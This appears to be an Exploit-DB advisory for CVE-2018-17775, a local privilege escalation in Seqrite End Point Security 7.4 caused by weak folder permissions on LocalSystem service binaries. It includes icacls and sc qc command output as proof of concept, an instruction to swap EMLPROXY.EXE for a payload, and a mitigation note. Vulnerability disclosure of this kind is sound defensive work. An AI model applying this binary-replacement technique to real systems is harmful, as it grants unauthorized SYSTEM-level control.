Seqrite End Point Security 7.4 - Privilege Escalation

vendor:

End Point Security

by:

Hashim Jawad

7.8

CVSS

HIGH

Privilege Escalation

269

CWE

Product Name: End Point Security

Affected Version From: 7.4

Affected Version To: 7.4

Patch Exists: NO

Related CWE: CVE-2018-17775

CPE: a:seqrite:end_point_security:7.4

Metasploit:

Other Scripts:

Platforms Tested: Windows 7 Enterprise SP1 (x64)

2018

Seqrite End Point Security 7.4 – Privilege Escalation

Seqrite End Point Security v7.4 installs with weak folder permissions, allowing any user to gain full permission to the program directory. Additionally, the program installs services that run as 'LocalSystem' without the 'Self Protection' feature enabled, allowing a non-privileged user to elevate privileges to 'NT AUTHORITYSYSTEM'.

Mitigation:

Apply proper folder permissions and enable the 'Self Protection' feature.

Source

Exploit-DB raw data:

# Exploit Title: Seqrite End Point Security 7.4 - Privilege Escalation
# Date: 2018-09-13
# Exploit Author: Hashim Jawad - @ihack4falafel
# Vendor Homepage: https://www.seqrite.com/
# Tested on: Windows 7 Enterprise SP1 (x64)
# CVE: CVE-2018-17775

# Description:
# Seqrite End Point Security v7.4 installs by default to "C:\Program Files\Seqrite\Seqrite" 
# with very weak folder permissions granting any user full permission "Everyone: (F)" 
# to the contents of the directory and it's subfolders. In addition, the program installs handful 
# of services with binaries within the program folder that run as "LocalSystem". Given 
# the "Self Protection" feature (on by default) is disabled which can be done in number of ways 
#(for instance, if the policy does not enforce EPS client password to change the settings any user 
# can disable that feature), meaning a non-privileged user would be able to 
# elevate privileges to "NT AUTHORITY\SYSTEM".

# PoC

c:\>icacls "c:\Program Files\Seqrite\Seqrite"
c:\Program Files\Seqrite\Seqrite Everyone:(OI)(IO)(F)
                                 Everyone:(CI)(F)
                                 NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                 NT AUTHORITY\SYSTEM:(I)(F)
                                 NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                 BUILTIN\Administrators:(I)(F)
                                 BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                 BUILTIN\Users:(I)(RX)
                                 BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                 CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
                                 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
                                 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)

Successfully processed 1 files; Failed processing 0 files

c:\>sc qc "Core Mail Protection"

[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Core Mail Protection
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\Seqrite\Seqrite\EMLPROXY.EXE"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Core Mail Protection
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

c:\>icacls "C:\Program Files\Seqrite\Seqrite\EMLPROXY.EXE"
C:\Program Files\Seqrite\Seqrite\EMLPROXY.EXE Everyone:(I)(F)
                                              NT AUTHORITY\SYSTEM:(I)(F)
                                              BUILTIN\Administrators:(I)(F)
                                              BUILTIN\Users:(I)(RX)
                                              APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                              APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files
c:\>

# Exploit:

Simply replace "EMLPROXY.EXE" with your preferred payload and wait for execution upon reboot.